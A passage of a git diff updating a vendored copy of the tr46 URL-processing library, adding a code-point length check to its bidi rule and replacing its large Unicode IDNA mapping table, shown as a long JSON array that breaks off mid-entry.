checkBidi, checkJoiners, processin } // https://tools.ietf.org/html/rfc5893#section-2 - if (checkBidi) { + // For the codePoints length check, see discussion in https://github.com/jsdom/whatwg-url/pull/250 and the second item + // in https://github.com/whatwg/url/issues/744. + if (checkBidi && codePoints.length > 0) { let rtl; // 1 diff --git a/env_xbb_lastest_jsdom/node_modules/tr46/lib/mappingTable.json b/env_xbb_lastest_jsdom/node_modules/tr46/lib/mappingTable.json index 3d71a5ef..483ca3b9 100644 --- a/env_xbb_lastest_jsdom/node_modules/tr46/lib/mappingTable.json +++ b/env_xbb_lastest_jsdom/node_modules/tr46/lib/mappingTable.json @@ -1 +1 @@ -[[[0,44],4],[[45,46],2],[47,4],[[48,57],2],[[58,64],4],[65,1,"a"],[66,1,"b"],[67,1,"c"],[68,1,"d"],[69,1,"e"],[70,1,"f"],[71,1,"g"],[72,1,"h"],[73,1,"i"],[74,1,"j"],[75,1,"k"],[76,1,"l"],[77,1,"m"],[78,1,"n"],[79,1,"o"],[80,1,"p"],[81,1,"q"],[82,1,"r"],[83,1,"s"],[84,1,"t"],[85,1,"u"],[86,1,"v"],[87,1,"w"],[88,1,"x"],[89,1,"y"],[90,1,"z"],[[91,96],4],[[97,122],2],[[123,127],4],[[128,159],3],[160,5," "],[[161,167],2],[168,5," ̈"],[169,2],[170,1,"a"],[[171,172],2],[173,7],[174,2],[175,5," ̄"],[[176,177],2],[178,1,"2"],[179,1,"3"],[180,5," ́"],[181,1,"μ"],[182,2],[183,2],[184,5," ̧"],[185,1,"1"],[186,1,"o"],[187,2],[188,1,"1⁄4"],[189,1,"1⁄2"],[190,1,"3⁄4"],[191,2],[192,1,"à"],[193,1,"á"],[194,1,"â"],[195,1,"ã"],[196,1,"ä"],[197,1,"å"],[198,1,"æ"],[199,1,"ç"],[200,1,"è"],[201,1,"é"],[202,1,"ê"],[203,1,"ë"],[204,1,"ì"],[205,1,"í"],[206,1,"î"],[207,1,"ï"],[208,1,"ð"],[209,1,"ñ"],[210,1,"ò"],[211,1,"ó"],[212,1,"ô"],[213,1,"õ"],[214,1,"ö"],[215,2],[216,1,"ø"],[217,1,"ù"],[218,1,"ú"],[219,1,"û"],[220,1,"ü"],[221,1,"ý"],[222,1,"þ"],[223,6,"ss"],[[224,246],2],[247,2],[[248,255],2],[256,1,"ā"],[257,2],[258,1,"ă"],[259,2],[260,1,"ą"],[261,2],[262,1,"ć"],[263,2],[264,1,"ĉ"],[265,2],[266,1,"ċ"],[267,2],[268,1,"č"],[269,2],[270,1,"ď"],[271,2],[272,1,"đ"],[273,2],[274,1,"ē"],[275,2],[276,1,"ĕ"],[277,2],[278,1,"ė"],[279,2],[280,1,"ę"],[281,2],[282,1,"ě"],[283,2],[284,1,"ĝ"],[285,2],[286,1,"ğ"],[287,2],[288,1,"ġ"],[289,2],[290,1,"ģ"],[291,2],[292,1,"ĥ"],[293,2],[294,1,"ħ"],[295,2],[296,1,"ĩ"],[297,2],[298,1,"ī"],[299,2],[300,1,"ĭ"],[301,2],[302,1,"į"],[303,2],[304,1,"i̇"],[305,2],[[306,307],1,"ij"],[308,1,"ĵ"],[309,2],[310,1,"ķ"],[[311,312],2],[313,1,"ĺ"],[314,2],[315,1,"ļ"],[316,2],[317,1,"ľ"],[318,2],[[319,320],1,"l·"],[321,1,"ł"],[322,2],[323,1,"ń"],[324,2],[325,1,"ņ"],[326,2],[327,1,"ň"],[328,2],[329,1,"ʼn"],[330,1,"ŋ"],[331,2],[332,1,"ō"],[333,2],[334,1,"ŏ"],[335,2],[336,1,"ő"],[337,2],[338,1,"œ"],[339,2],[340,1,"ŕ"],[341,2],[342,1,"ŗ"],[343,2],[344,1,"ř"],[345,2],[346,1,"ś"],[347,2],[348,1,"ŝ"],[349,2],[350,1,"ş"],[351,2],[352,1,"š"],[353,2],[354,1,"ţ"],[355,2],[356,1,"ť"],[357,2],[358,1,"ŧ"],[359,2],[360,1,"ũ"],[361,2],[362,1,"ū"],[363,2],[364,1,"ŭ"],[365,2],[366,1,"ů"],[367,2],[368,1,"ű"],[369,2],[370,1,"ų"],[371,2],[372,1,"ŵ"],[373,2],[374,1,"ŷ"],[375,2],[376,1,"ÿ"],[377,1,"ź"],[378,2],[379,1,"ż"],[380,2],[381,1,"ž"],[382,2],[383,1,"s"],[384,2],[385,1,"ɓ"],[386,1,"ƃ"],[387,2],[388,1,"ƅ"],[389,2],[390,1,"ɔ"],[391,1,"ƈ"],[392,2],[393,1,"ɖ"],[394,1,"ɗ"],[395,1,"ƌ"],[[396,397],2],[398,1,"ǝ"],[399,1,"ə"],[400,1,"ɛ"],[401,1,"ƒ"],[402,2],[403,1,"ɠ"],[404,1,"ɣ"],[405,2],[406,1,"ɩ"],[407,1,"ɨ"],[408,1,"ƙ"],[[409,411],2],[412,1,"ɯ"],[413,1,"ɲ"],[414,2],[415,1,"ɵ"],[416,1,"ơ"],[417,2],[418,1,"ƣ"],[419,2],[420,1,"ƥ"],[421,2],[422,1,"ʀ"],[423,1,"ƨ"],[424,2],[425,1,"ʃ"],[[426,427],2],[428,1,"ƭ"],[429,2],[430,1,"ʈ"],[431,1,"ư"],[432,2],[433,1,"ʊ"],[434,1,"ʋ"],[435,1,"ƴ"],[436,2],[437,1,"ƶ"],[438,2],[439,1,"ʒ"],[440,1,"ƹ"],[[441,443],2],[444,1,"ƽ"],[[445,451],2],[[452,454],1,"dž"],[[455,457],1,"lj"],[[458,460],1,"nj"],[461,1,"ǎ"],[462,2],[463,1,"ǐ"],[464,2],[465,1,"ǒ"],[466,2],[467,1,"ǔ"],[468,2],[469,1,"ǖ"],[470,2],[471,1,"ǘ"],[472,2],[473,1,"ǚ"],[474,2],[475,1,"ǜ"],[[476,477],2],[478,1,"ǟ"],[479,2],[480,1,"ǡ"],[481,2],[482,1,"ǣ"],[483,2],[484,1,"ǥ"],[485,2],[486,1,"ǧ"],[487,2],[488,1,"ǩ"],[489,2],[490,1,"ǫ"],[491,2],[492,1,"ǭ"],[493,2],[494,1,"ǯ"],[[495,496],2],[[497,499],1,"dz"],[500,1,"ǵ"],[501,2],[502,1,"ƕ"],[503,1,"ƿ"],[504,1,"ǹ"],[505,2],[506,1,"ǻ"],[507,2],[508,1,"ǽ"],[509,2],[510,1,"ǿ"],[511,2],[512,1,"ȁ"],[513,2],[514,1,"ȃ"],[515,2],[516,1,"ȅ"],[517,2],[518,1,"ȇ"],[519,2],[520,1,"ȉ"],[521,2],[522,1,"ȋ"],[523,2],[524,1,"ȍ"],[525,2],[526,1,"ȏ"],[527,2],[528,1,"ȑ"],[529,2],[530,1,"ȓ"],[531,2],[532,1,"ȕ"],[533,2],[534,1,"ȗ"],[535,2],[536,1,"ș"],[537,2],[538,1,"ț"],[539,2],[540,1,"ȝ"],[541,2],[542,1,"ȟ"],[543,2],[544,1,"ƞ"],[545,2],[546,1,"ȣ"],[547,2],[548,1,"ȥ"],[549,2],[550,1,"ȧ"],[551,2],[552,1,"ȩ"],[553,2],[554,1,"ȫ"],[555,2],[556,1,"ȭ"],[557,2],[558,1,"ȯ"],[559,2],[560,1,"ȱ"],[561,2],[562,1,"ȳ"],[563,2],[[564,566],2],[[567,569],2],[570,1,"ⱥ"],[571,1,"ȼ"],[572,2],[573,1,"ƚ"],[574,1,"ⱦ"],[[575,576],2],[577,1,"ɂ"],[578,2],[579,1,"ƀ"],[580,1,"ʉ"],[581,1,"ʌ"],[582,1,"ɇ"],[583,2],[584,1,"ɉ"],[585,2],[586,1,"ɋ"],[587,2],[588,1,"ɍ"],[589,2],[590,1,"ɏ"],[591,2],[[592,680],2],[[681,685],2],[[686,687],2],[688,1,"h"],[689,1,"ɦ"],[690,1,"j"],[691,1,"r"],[692,1,"ɹ"],[693,1,"ɻ"],[694,1,"ʁ"],[695,1,"w"],[696,1,"y"],[[697,705],2],[[706,709],2],[[710,721],2],[[722,727],2],[728,5," ̆"],[729,5," ̇"],[730,5," ̊"],[731,5," ̨"],[732,5," ̃"],[733,5," ̋"],[734,2],[735,2],[736,1,"ɣ"],[737,1,"l"],[738,1,"s"],[739,1,"x"],[740,1,"ʕ"],[[741,745],2],[[746,747],2],[748,2],[749,2],[750,2],[[751,767],2],[[768,831],2],[832,1,"̀"],[833,1,"́"],[834,2],[835,1,"̓"],[836,1,"̈́"],[837,1,"ι"],[[838,846],2],[847,7],[[848,855],2],[[856,860],2],[[861,863],2],[[864,865],2],[866,2],[[867,879],2],[880,1,"ͱ"],[881,2],[882,1,"ͳ"],[883,2],[884,1,"ʹ"],[885,2],[886,1,"ͷ"],[887,2],[[888,889],3],[890,5," ι"],[[891,893],2],[894,5,";"],[895,1,"ϳ"],[[896,899],3],[900,5," ́"],[901,5," ̈́"],[902,1,"ά"],[903,1,"·"],[904,1,"έ"],[905,1,"ή"],[906,1,"ί"],[907,3],[908,1,"ό"],[909,3],[910,1,"ύ"],[911,1,"ώ"],[912,2],[913,1,"α"],[914,1,"β"],[915,1,"γ"],[916,1,"δ"],[917,1,"ε"],[918,1,"ζ"],[919,1,"η"],[920,1,"θ"],[921,1,"ι"],[922,1,"κ"],[923,1,"λ"],[924,1,"μ"],[925,1,"ν"],[926,1,"ξ"],[927,1,"ο"],[928,1,"π"],[929,1,"ρ"],[930,3],[931,1,"σ"],[932,1,"τ"],[933,1,"υ"],[934,1,"φ"],[935,1,"χ"],[936,1,"ψ"],[937,1,"ω"],[938,1,"ϊ"],[939,1,"ϋ"],[[940,961],2],[962,6,"σ"],[[963,974],2],[975,1,"ϗ"],[976,1,"β"],[977,1,"θ"],[978,1,"υ"],[979,1,"ύ"],[980,1,"ϋ"],[981,1,"φ"],[982,1,"π"],[983,2],[984,1,"ϙ"],[985,2],[986,1,"ϛ"],[987,2],[988,1,"ϝ"],[989,2],[990,1,"ϟ"],[991,2],[992,1,"ϡ"],[993,2],[994,1,"ϣ"],[995,2],[996,1,"ϥ"],[997,2],[998,1,"ϧ"],[999,2],[1000,1,"ϩ"],[1001,2],[1002,1,"ϫ"],[1003,2],[1004,1,"ϭ"],[1005,2],[1006,1,"ϯ"],[1007,2],[1008,1,"κ"],[1009,1,"ρ"],[1010,1,"σ"],[1011,2],[1012,1,"θ"],[1013,1,"ε"],[1014,2],[1015,1,"ϸ"],[1016,2],[1017,1,"σ"],[1018,1,"ϻ"],[1019,2],[1020,2],[1021,1,"ͻ"],[1022,1,"ͼ"],[1023,1,"ͽ"],[1024,1,"ѐ"],[1025,1,"ё"],[1026,1,"ђ"],[1027,1,"ѓ"],[1028,1,"є"],[1029,1,"ѕ"],[1030,1,"і"],[1031,1,"ї"],[1032,1,"ј"],[1033,1,"љ"],[1034,1,"њ"],[1035,1,"ћ"],[1036,1,"ќ"],[1037,1,"ѝ"],[1038,1,"ў"],[1039,1,"џ"],[1040,1,"а"],[1041,1,"б"],[1042,1,"в"],[1043,1,"г"],[1044,1,"д"],[1045,1,"е"],[1046,1,"ж"],[1047,1,"з"],[1048,1,"и"],[1049,1,"й"],[1050,1,"к"],[1051,1,"л"],[1052,1,"м"],[1053,1,"н"],[1054,1,"о"],[1055,1,"п"],[1056,1,"р"],[1057,1,"с"],[1058,1,"т"],[1059,1,"у"],[1060,1,"ф"],[1061,1,"х"],[1062,1,"ц"],[1063,1,"ч"],[1064,1,"ш"],[1065,1,"щ"],[1066,1,"ъ"],[1067,1,"ы"],[1068,1,"ь"],[1069,1,"э"],[1070,1,"ю"],[1071,1,"я"],[[1072,1103],2],[1104,2],[[1105,1116],2],[1117,2],[[1118,1119],2],[1120,1,"ѡ"],[1121,2],[1122,1,"ѣ"],[1123,2],[1124,1,"ѥ"],[1125,2],[1126,1,"ѧ"],[1127,2],[1128,1,"ѩ"],[1129,2],[1130,1,"ѫ"],[1131,2],[1132,1,"ѭ"],[1133,2],[1134,1,"ѯ"],[1135,2],[1136,1,"ѱ"],[1137,2],[1138,1,"ѳ"],[1139,2],[1140,1,"ѵ"],[1141,2],[1142,1,"ѷ"],[1143,2],[1144,1,"ѹ"],[1145,2],[1146,1,"ѻ"],[1147,2],[1148,1,"ѽ"],[1149,2],[1150,1,"ѿ"],[1151,2],[1152,1,"ҁ"],[1153,2],[1154,2],[[1155,1158],2],[1159,2],[[1160,1161],2],[1162,1,"ҋ"],[1163,2],[1164,1,"ҍ"],[1165,2],[1166,1,"ҏ"],[1167,2],[1168,1,"ґ"],[1169,2],[1170,1,"ғ"],[1171,2],[1172,1,"ҕ"],[1173,2],[1174,1,"җ"],[1175,2],[1176,1,"ҙ"],[1177,2],[1178,1,"қ"],[1179,2],[1180,1,"ҝ"],[1181,2],[1182,1,"ҟ"],[1183,2],[1184,1,"ҡ"],[1185,2],[1186,1,"ң"],[1187,2],[1188,1,"ҥ"],[1189,2],[1190,1,"ҧ"],[1191,2],[1192,1,"ҩ"],[1193,2],[1194,1,"ҫ"],[1195,2],[1196,1,"ҭ"],[1197,2],[1198,1,"ү"],[1199,2],[1200,1,"ұ"],[1201,2],[1202,1,"ҳ"],[1203,2],[1204,1,"ҵ"],[1205,2],[1206,1,"ҷ"],[1207,2],[1208,1,"ҹ"],[1209,2],[1210,1,"һ"],[1211,2],[1212,1,"ҽ"],[1213,2],[1214,1,"ҿ"],[1215,2],[1216,3],[1217,1,"ӂ"],[1218,2],[1219,1,"ӄ"],[1220,2],[1221,1,"ӆ"],[1222,2],[1223,1,"ӈ"],[1224,2],[1225,1,"ӊ"],[1226,2],[1227,1,"ӌ"],[1228,2],[1229,1,"ӎ"],[1230,2],[1231,2],[1232,1,"ӑ"],[1233,2],[1234,1,"ӓ"],[1235,2],[1236,1,"ӕ"],[1237,2],[1238,1,"ӗ"],[1239,2],[1240,1,"ә"],[1241,2],[1242,1,"ӛ"],[1243,2],[1244,1,"ӝ"],[1245,2],[1246,1,"ӟ"],[1247,2],[1248,1,"ӡ"],[1249,2],[1250,1,"ӣ"],[1251,2],[1252,1,"ӥ"],[1253,2],[1254,1,"ӧ"],[1255,2],[1256,1,"ө"],[1257,2],[1258,1,"ӫ"],[1259,2],[1260,1,"ӭ"],[1261,2],[1262,1,"ӯ"],[1263,2],[1264,1,"ӱ"],[1265,2],[1266,1,"ӳ"],[1267,2],[1268,1,"ӵ"],[1269,2],[1270,1,"ӷ"],[1271,2],[1272,1,"ӹ"],[1273,2],[1274,1,"ӻ"],[1275,2],[1276,1,"ӽ"],[1277,2],[1278,1,"ӿ"],[1279,2],[1280,1,"ԁ"],[1281,2],[1282,1,"ԃ"],[1283,2],[1284,1,"ԅ"],[1285,2],[1286,1,"ԇ"],[1287,2],[1288,1,"ԉ"],[1289,2],[1290,1,"ԋ"],[1291,2],[1292,1,"ԍ"],[1293,2],[1294,1,"ԏ"],[1295,2],[1296,1,"ԑ"],[1297,2],[1298,1,"ԓ"],[1299,2],[1300,1,"ԕ"],[1301,2],[1302,1,"ԗ"],[1303,2],[1304,1,"ԙ"],[1305,2],[1306,1,"ԛ"],[1307,2],[1308,1,"ԝ"],[1309,2],[1310,1,"ԟ"],[1311,2],[1312,1,"ԡ"],[1313,2],[1314,1,"ԣ"],[1315,2],[1316,1,"ԥ"],[1317,2],[1318,1,"ԧ"],[1319,2],[1320,1,"ԩ"],[1321,2],[1322,1,"ԫ"],[1323,2],[1324,1,"ԭ"],[1325,2],[1326,1,"ԯ"],[1327,2],[1328,3],[1329,1,"ա"],[1330,1,"բ"],[1331,1,"գ"],[1332,1,"դ"],[1333,1,"ե"],[1334,1,"զ"],[1335,1,"է"],[1336,1,"ը"],[1337,1,"թ"],[1338,1,"ժ"],[1339,1,"ի"],[1340,1,"լ"],[1341,1,"խ"],[1342,1,"ծ"],[1343,1,"կ"],[1344,1,"հ"],[1345,1,"ձ"],[1346,1,"ղ"],[1347,1,"ճ"],[1348,1,"մ"],[1349,1,"յ"],[1350,1,"ն"],[1351,1,"շ"],[1352,1,"ո"],[1353,1,"չ"],[1354,1,"պ"],[1355,1,"ջ"],[1356,1,"ռ"],[1357,1,"ս"],[1358,1,"վ"],[1359,1,"տ"],[1360,1,"ր"],[1361,1,"ց"],[1362,1,"ւ"],[1363,1,"փ"],[1364,1,"ք"],[1365,1,"օ"],[1366,1,"ֆ"],[[1367,1368],3],[1369,2],[[1370,1375],2],[1376,2],[[1377,1414],2],[1415,1,"եւ"],[1416,2],[1417,2],[1418,2],[[1419,1420],3],[[1421,1422],2],[1423,2],[1424,3],[[1425,1441],2],[1442,2],[[1443,1455],2],[[1456,1465],2],[1466,2],[[1467,1469],2],[1470,2],[1471,2],[1472,2],[[1473,1474],2],[1475,2],[1476,2],[1477,2],[1478,2],[1479,2],[[1480,1487],3],[[1488,1514],2],[[1515,1518],3],[1519,2],[[1520,1524],2],[[1525,1535],3],[[1536,1539],3],[1540,3],[1541,3],[[1542,1546],2],[1547,2],[1548,2],[[1549,1551],2],[[1552,1557],2],[[1558,1562],2],[1563,2],[1564,3],[1565,2],[1566,2],[1567,2],[1568,2],[[1569,1594],2],[[1595,1599],2],[1600,2],[[1601,1618],2],[[1619,1621],2],[[1622,1624],2],[[1625,1630],2],[1631,2],[[1632,1641],2],[[1642,1645],2],[[1646,1647],2],[[1648,1652],2],[1653,1,"اٴ"],[1654,1,"وٴ"],[1655,1,"ۇٴ"],[1656,1,"يٴ"],[[1657,1719],2],[[1720,1721],2],[[1722,1726],2],[1727,2],[[1728,1742],2],[1743,2],[[1744,1747],2],[1748,2],[[1749,1756],2],[1757,3],[1758,2],[[1759,1768],2],[1769,2],[[1770,1773],2],[[1774,1775],2],[[1776,1785],2],[[1786,1790],2],[1791,2],[[1792,1805],2],[1806,3],[1807,3],[[1808,1836],2],[[1837,1839],2],[[1840,1866],2],[[1867,1868],3],[[1869,1871],2],[[1872,1901],2],[[1902,1919],2],[[1920,1968],2],[1969,2],[[1970,1983],3],[[1984,2037],2],[[2038,2042],2],[[2043,2044],3],[2045,2],[[2046,2047],2],[[2048,2093],2],[[2094,2095],3],[[2096,2110],2],[2111,3],[[2112,2139],2],[[2140,2141],3],[2142,2],[2143,3],[[2144,2154],2],[[2155,2159],3],[[2160,2183],2],[2184,2],[[2185,2190],2],[2191,3],[[2192,2193],3],[[2194,2199],3],[[2200,2207],2],[2208,2],[2209,2],[[2210,2220],2],[[2221,2226],2],[[2227,2228],2],[2229,2],[[2230,2237],2],[[2238,2247],2],[[2248,2258],2],[2259,2],[[2260,2273],2],[2274,3],[2275,2],[[2276,2302],2],[2303,2],[2304,2],[[2305,2307],2],[2308,2],[[2309,2361],2],[[2362,2363],2],[[2364,2381],2],[2382,2],[2383,2],[[2384,2388],2],[2389,2],[[2390,2391],2],[2392,1,"क़"],[2393,1,"ख़"],[2394,1,"ग़"],[2395,1,"ज़"],[2396,1,"ड़"],[2397,1,"ढ़"],[2398,1,"फ़"],[2399,1,"य़"],[[2400,2403],2],[[2404,2405],2],[[2406,2415],2],[2416,2],[[2417,2418],2],[[2419,2423],2],[2424,2],[[2425,2426],2],[[2427,2428],2],[2429,2],[[2430,2431],2],[2432,2],[[2433,2435],2],[2436,3],[[2437,2444],2],[[2445,2446],3],[[2447,2448],2],[[2449,2450],3],[[2451,2472],2],[2473,3],[[2474,2480],2],[2481,3],[2482,2],[[2483,2485],3],[[2486,2489],2],[[2490,2491],3],[2492,2],[2493,2],[[2494,2500],2],[[2501,2502],3],[[2503,2504],2],[[2505,2506],3],[[2507,2509],2],[2510,2],[[2511,2518],3],[2519,2],[[2520,2523],3],[2524,1,"ড়"],[2525,1,"ঢ়"],[2526,3],[2527,1,"য়"],[[2528,2531],2],[[2532,2533],3],[[2534,2545],2],[[2546,2554],2],[2555,2],[2556,2],[2557,2],[2558,2],[[2559,2560],3],[2561,2],[2562,2],[2563,2],[2564,3],[[2565,2570],2],[[2571,2574],3],[[2575,2576],2],[[2577,2578],3],[[2579,2600],2],[2601,3],[[2602,2608],2],[2609,3],[2610,2],[2611,1,"ਲ਼"],[2612,3],[2613,2],[2614,1,"ਸ਼"],[2615,3],[[2616,2617],2],[[2618,2619],3],[2620,2],[2621,3],[[2622,2626],2],[[2627,2630],3],[[2631,2632],2],[[2633,2634],3],[[2635,2637],2],[[2638,2640],3],[2641,2],[[2642,2648],3],[2649,1,"ਖ਼"],[2650,1,"ਗ਼"],[2651,1,"ਜ਼"],[2652,2],[2653,3],[2654,1,"ਫ਼"],[[2655,2661],3],[[2662,2676],2],[2677,2],[2678,2],[[2679,2688],3],[[2689,2691],2],[2692,3],[[2693,2699],2],[2700,2],[2701,2],[2702,3],[[2703,2705],2],[2706,3],[[2707,2728],2],[2729,3],[[2730,2736],2],[2737,3],[[2738,2739],2],[2740,3],[[2741,2745],2],[[2746,2747],3],[[2748,2757],2],[2758,3],[[2759,2761],2],[2762,3],[[2763,2765],2],[[2766,2767],3],[2768,2],[[2769,2783],3],[2784,2],[[2785,2787],2],[[2788,2789],3],[[2790,2799],2],[2800,2],[2801,2],[[2802,2808],3],[2809,2],[[2810,2815],2],[2816,3],[[2817,2819],2],[2820,3],[[2821,2828],2],[[2829,2830],3],[[2831,2832],2],[[2833,2834],3],[[2835,2856],2],[2857,3],[[2858,2864],2],[2865,3],[[2866,2867],2],[2868,3],[2869,2],[[2870,2873],2],[[2874,2875],3],[[2876,2883],2],[2884,2],[[2885,2886],3],[[2887,2888],2],[[2889,2890],3],[[2891,2893],2],[[2894,2900],3],[2901,2],[[2902,2903],2],[[2904,2907],3],[2908,1,"ଡ଼"],[2909,1,"ଢ଼"],[2910,3],[[2911,2913],2],[[2914,2915],2],[[2916,2917],3],[[2918,2927],2],[2928,2],[2929,2],[[2930,2935],2],[[2936,2945],3],[[2946,2947],2],[2948,3],[[2949,2954],2],[[2955,2957],3],[[2958,2960],2],[2961,3],[[2962,2965],2],[[2966,2968],3],[[2969,2970],2],[2971,3],[2972,2],[2973,3],[[2974,2975],2],[[2976,2978],3],[[2979,2980],2],[[2981,2983],3],[[2984,2986],2],[[2987,2989],3],[[2990,2997],2],[2998,2],[[2999,3001],2],[[3002,3005],3],[[3006,3010],2],[[3011,3013],3],[[3014,3016],2],[3017,3],[[3018,3021],2],[[3022,3023],3],[3024,2],[[3025,3030],3],[3031,2],[[3032,3045],3],[3046,2],[[3047,3055],2],[[3056,3058],2],[[3059,3066],2],[[3067,3071],3],[3072,2],[[3073,3075],2],[3076,2],[[3077,3084],2],[3085,3],[[3086,3088],2],[3089,3],[[3090,3112],2],[3113,3],[[3114,3123],2],[3124,2],[[3125,3129],2],[[3130,3131],3],[3132,2],[3133,2],[[3134,3140],2],[3141,3],[[3142,3144],2],[3145,3],[[3146,3149],2],[[3150,3156],3],[[3157,3158],2],[3159,3],[[3160,3161],2],[3162,2],[[3163,3164],3],[3165,2],[[3166,3167],3],[[3168,3169],2],[[3170,3171],2],[[3172,3173],3],[[3174,3183],2],[[3184,3190],3],[3191,2],[[3192,3199],2],[3200,2],[3201,2],[[3202,3203],2],[3204,2],[[3205,3212],2],[3213,3],[[3214,3216],2],[3217,3],[[3218,3240],2],[3241,3],[[3242,3251],2],[3252,3],[[3253,3257],2],[[3258,3259],3],[[3260,3261],2],[[3262,3268],2],[3269,3],[[3270,3272],2],[3273,3],[[3274,3277],2],[[3278,3284],3],[[3285,3286],2],[[3287,3292],3],[3293,2],[3294,2],[3295,3],[[3296,3297],2],[[3298,3299],2],[[3300,3301],3],[[3302,3311],2],[3312,3],[[3313,3314],2],[[3315,3327],3],[3328,2],[3329,2],[[3330,3331],2],[3332,2],[[3333,3340],2],[3341,3],[[3342,3344],2],[3345,3],[[3346,3368],2],[3369,2],[[3370,3385],2],[3386,2],[[3387,3388],2],[3389,2],[[3390,3395],2],[3396,2],[3397,3],[[3398,3400],2],[3401,3],[[3402,3405],2],[3406,2],[3407,2],[[3408,3411],3],[[3412,3414],2],[3415,2],[[3416,3422],2],[3423,2],[[3424,3425],2],[[3426,3427],2],[[3428,3429],3],[[3430,3439],2],[[3440,3445],2],[[3446,3448],2],[3449,2],[[3450,3455],2],[3456,3],[3457,2],[[3458,3459],2],[3460,3],[[3461,3478],2],[[3479,3481],3],[[3482,3505],2],[3506,3],[[3507,3515],2],[3516,3],[3517,2],[[3518,3519],3],[[3520,3526],2],[[3527,3529],3],[3530,2],[[3531,3534],3],[[3535,3540],2],[3541,3],[3542,2],[3543,3],[[3544,3551],2],[[3552,3557],3],[[3558,3567],2],[[3568,3569],3],[[3570,3571],2],[3572,2],[[3573,3584],3],[[3585,3634],2],[3635,1,"ํา"],[[3636,3642],2],[[3643,3646],3],[3647,2],[[3648,3662],2],[3663,2],[[3664,3673],2],[[3674,3675],2],[[3676,3712],3],[[3713,3714],2],[3715,3],[3716,2],[3717,3],[3718,2],[[3719,3720],2],[3721,2],[3722,2],[3723,3],[3724,2],[3725,2],[[3726,3731],2],[[3732,3735],2],[3736,2],[[3737,3743],2],[3744,2],[[3745,3747],2],[3748,3],[3749,2],[3750,3],[3751,2],[[3752,3753],2],[[3754,3755],2],[3756,2],[[3757,3762],2],[3763,1,"ໍາ"],[[3764,3769],2],[3770,2],[[3771,3773],2],[[3774,3775],3],[[3776,3780],2],[3781,3],[3782,2],[3783,3],[[3784,3789],2],[[3790,3791],3],[[3792,3801],2],[[3802,3803],3],[3804,1,"ຫນ"],[3805,1,"ຫມ"],[[3806,3807],2],[[3808,3839],3],[3840,2],[[3841,3850],2],[3851,2],[3852,1,"་"],[[3853,3863],2],[[3864,3865],2],[[3866,3871],2],[[3872,3881],2],[[3882,3892],2],[3893,2],[3894,2],[3895,2],[3896,2],[3897,2],[[3898,3901],2],[[3902,3906],2],[3907,1,"གྷ"],[[3908,3911],2],[3912,3],[[3913,3916],2],[3917,1,"ཌྷ"],[[3918,3921],2],[3922,1,"དྷ"],[[3923,3926],2],[3927,1,"བྷ"],[[3928,3931],2],[3932,1,"ཛྷ"],[[3933,3944],2],[3945,1,"ཀྵ"],[3946,2],[[3947,3948],2],[[3949,3952],3],[[3953,3954],2],[3955,1,"ཱི"],[3956,2],[3957,1,"ཱུ"],[3958,1,"ྲྀ"],[3959,1,"ྲཱྀ"],[3960,1,"ླྀ"],[3961,1,"ླཱྀ"],[[3962,3968],2],[3969,1,"ཱྀ"],[[3970,3972],2],[3973,2],[[3974,3979],2],[[3980,3983],2],[[3984,3986],2],[3987,1,"ྒྷ"],[[3988,3989],2],[3990,2],[3991,2],[3992,3],[[3993,3996],2],[3997,1,"ྜྷ"],[[3998,4001],2],[4002,1,"ྡྷ"],[[4003,4006],2],[4007,1,"ྦྷ"],[[4008,4011],2],[4012,1,"ྫྷ"],[4013,2],[[4014,4016],2],[[4017,4023],2],[4024,2],[4025,1,"ྐྵ"],[[4026,4028],2],[4029,3],[[4030,4037],2],[4038,2],[[4039,4044],2],[4045,3],[4046,2],[4047,2],[[4048,4049],2],[[4050,4052],2],[[4053,4056],2],[[4057,4058],2],[[4059,4095],3],[[4096,4129],2],[4130,2],[[4131,4135],2],[4136,2],[[4137,4138],2],[4139,2],[[4140,4146],2],[[4147,4149],2],[[4150,4153],2],[[4154,4159],2],[[4160,4169],2],[[4170,4175],2],[[4176,4185],2],[[4186,4249],2],[[4250,4253],2],[[4254,4255],2],[[4256,4293],3],[4294,3],[4295,1,"ⴧ"],[[4296,4300],3],[4301,1,"ⴭ"],[[4302,4303],3],[[4304,4342],2],[[4343,4344],2],[[4345,4346],2],[4347,2],[4348,1,"ნ"],[[4349,4351],2],[[4352,4441],2],[[4442,4446],2],[[4447,4448],3],[[4449,4514],2],[[4515,4519],2],[[4520,4601],2],[[4602,4607],2],[[4608,4614],2],[4615,2],[[4616,4678],2],[4679,2],[4680,2],[4681,3],[[4682,4685],2],[[4686,4687],3],[[4688,4694],2],[4695,3],[4696,2],[4697,3],[[4698,4701],2],[[4702,4703],3],[[4704,4742],2],[4743,2],[4744,2],[4745,3],[[4746,4749],2],[[4750,4751],3],[[4752,4782],2],[4783,2],[4784,2],[4785,3],[[4786,4789],2],[[4790,4791],3],[[4792,4798],2],[4799,3],[4800,2],[4801,3],[[4802,4805],2],[[4806,4807],3],[[4808,4814],2],[4815,2],[[4816,4822],2],[4823,3],[[4824,4846],2],[4847,2],[[4848,4878],2],[4879,2],[4880,2],[4881,3],[[4882,4885],2],[[4886,4887],3],[[4888,4894],2],[4895,2],[[4896,4934],2],[4935,2],[[4936,4954],2],[[4955,4956],3],[[4957,4958],2],[4959,2],[4960,2],[[4961,4988],2],[[4989,4991],3],[[4992,5007],2],[[5008,5017],2],[[5018,5023],3],[[5024,5108],2],[5109,2],[[5110,5111],3],[5112,1,"Ᏸ"],[5113,1,"Ᏹ"],[5114,1,"Ᏺ"],[5115,1,"Ᏻ"],[5116,1,"Ᏼ"],[5117,1,"Ᏽ"],[[5118,5119],3],[5120,2],[[5121,5740],2],[[5741,5742],2],[[5743,5750],2],[[5751,5759],2],[5760,3],[[5761,5786],2],[[5787,5788],2],[[5789,5791],3],[[5792,5866],2],[[5867,5872],2],[[5873,5880],2],[[5881,5887],3],[[5888,5900],2],[5901,2],[[5902,5908],2],[5909,2],[[5910,5918],3],[5919,2],[[5920,5940],2],[[5941,5942],2],[[5943,5951],3],[[5952,5971],2],[[5972,5983],3],[[5984,5996],2],[5997,3],[[5998,6000],2],[6001,3],[[6002,6003],2],[[6004,6015],3],[[6016,6067],2],[[6068,6069],3],[[6070,6099],2],[[6100,6102],2],[6103,2],[[6104,6107],2],[6108,2],[6109,2],[[6110,6111],3],[[6112,6121],2],[[6122,6127],3],[[6128,6137],2],[[6138,6143],3],[[6144,6149],2],[6150,3],[[6151,6154],2],[[6155,6157],7],[6158,3],[6159,7],[[6160,6169],2],[[6170,6175],3],[[6176,6263],2],[6264,2],[[6265,6271],3],[[6272,6313],2],[6314,2],[[6315,6319],3],[[6320,6389],2],[[6390,6399],3],[[6400,6428